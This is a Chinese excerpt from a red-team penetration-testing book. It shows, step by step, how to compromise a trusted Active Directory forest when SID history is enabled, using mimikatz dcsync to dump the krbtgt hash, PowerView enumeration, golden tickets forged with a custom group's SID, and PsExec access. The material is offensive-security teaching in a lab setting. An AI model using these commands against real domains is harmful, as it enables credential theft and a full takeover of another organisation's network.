本文选自《内网安全攻防:红队之路》
扫描二维码五折购书
由于微软将森林信任设计为安全边界,在默认情况下,即使我们完全控制了当前森林,也可能无法入侵其他受信任的森林(trusted forest)。
下面介绍在非默认条件下(但也比较常见),如何入侵一个受信任的森林。
在《内网安全攻防:渗透测试实战指南》(第1版)里面介绍过如何利用域信任密钥入侵另一个域。同样,这个技术也可以应用到森林信任。
但是需要注意的是,森林信任引入的SID filtering(SID过滤的概念)。在森林信任里面,ExtraSIDs字段的内容被过滤掉了。例如,我们可以重复先前的攻击,在ms08067.cn创建一个TGT,在ExtraSIDs声明我们是ms08067.hk的企业管理员组成员。
当TGT(由森林间的信任密钥签名)到达ms08067.hk的域控时,会将ExtraSID记录移除,然后返回我们一个TGS。所以之前的攻击方法无效。
我们可以先测试一下。登录ms08067.cn的域的主机,然后以域管理员权限打开一个cmd,利用获取krbtgt的hash:
lsadump::dcsync /domain:ms08067.cn /user:ms08067\krbtgt
获取krbtgt hash
然后我们使用PowerView获取源域和目的域的SID:
Get-DomainSID -Domain ms08067.cn
Get-DomainSID -Domain ms08067.hk
获取域SID
接下来我们创建一个黄金票据,在ExtraSID里面声明我们是企业管理员组:
kerberos::golden /user:hack /domain:ms08067.cn /sid:S-1-5-21-3754008493-3899165825-827219704 /krbtgt:caedeb0d26c68286514242359f780ad1 /sids:S-1-5-21-187469462-2874609549-2714275389-519 /ptt
创建黄金票据
验证票据的有效性,可以看到因为SID过滤,黄金票据没有起作用:
验证票据有效性
虽然在Active Directory Domains and Trusts管理图形界面没有显示,但我们实际上可以放松SID过滤保护。但是,在实际生产环境,为什么会降低安全级别,使得一个森林被入侵可能影响另一个森林?
我们假设"ms08067.cn"企业收购了" ms08067.hk"企业。两个企业都有活动目录基础设施,现在需要合并。一种方法是将ms08067.hk的所有用户和服务都移到ms08067.cn。
用户帐户可能相对容易移动,但是服务器和服务可能存在一些问题。因此,可能有必要允许被迁移的用户访问其旧森林中的服务。SID history被设计来解决这个问题,在迁移期间,ms08067.hk将禁用SID过滤功能。
此外,在现实环境中,这种迁移往往需要很多年的时间,或者可能永远都不会完成,使森林信任在很长一段时间内都启用SID历史。
在未启用SID历史之前,我们看看信任对象的属性:
Get-DomainTrust -Domain ms08067.hk
启用SID历史前对象属性
在启用SID history后,TrustAttributes的值将会改变。要启用SID history,我们首先需要以administrator登录ms08067.hk的域控,然后使用netdom的trust子命令启用SID历史:
netdom trust ms08067.hk /d:ms08067.cn /enablesidhistory:yes
启用SID历史
当启用后,我们再次查看信任对象的属性:
启用SID历史后对象属性
输出的TREAT_AS_EXTERNAL值,表明森林信任被视为外部信任,但具有正常森林信任的可传递性。
但此时,我们如果重复上述攻击步骤,还是无法成功。即使我们启用SID history,SID过滤仍然有效。微软规定,无论SID历史设置如何,任何RID小于1000的SID都会被过滤掉。
但是,对于外部信任,一个RID等于或者大于1000的SID不会被过滤。我们上面在启用了SID history后,看到森林信任被视为外部信任(external trust)。
非默认组的RID总是等于或者大于1000。如果我们能在ms08067.hk找到一个自定义的组,其组成员能让我们入侵一个账户或者主机,我们就可以把它作为进入另一个森林的入口点。
例如,我们枚举ms08067.hk内置管理员组成员:
Get-DomainGroupMember -Identity "Administrators" -Domain ms08067.hk
内置管理员组成员枚举
从上图输出可以看到,IRTeam组是内置管理员组成员,说明在ms08067.hk的域控上有本地管理员权限。此外,RID(1108)大于1000。
然而,还有一点需要注意。如果我们尝试利用的自定义组是global security group如Domain Admins或者Enterprise Admins,访问也会被过滤。
我们这里的例子中,内置的Administrators组是域本地组,所以我们可以利用获得另一个森林的权限。
修改黄金票据命令包含IRTeam的SID:
kerberos::golden /user:hack /domain:ms08067.cn /sid:S-1-5-21-3754008493-3899165825-827219704 /krbtgt:caedeb0d26c68286514242359f780ad1 /sids:S-1-5-21-187469462-2874609549-2714275389-1108 /ptt
修改黄金票据
将票据注入内存后,我们使用PsExec进行测试,可以看到成功获得ms08067.hk的权限:
PsExec测试跨森林黄金票据
上面的例子比较简单,但说明了整个攻击思路。虽然依赖于管理员误配置,但是作为渗透测试人员,在存在森林信任的环境中,我们应该始终检查SID过滤。
— 实验室旗下直播培训课程 —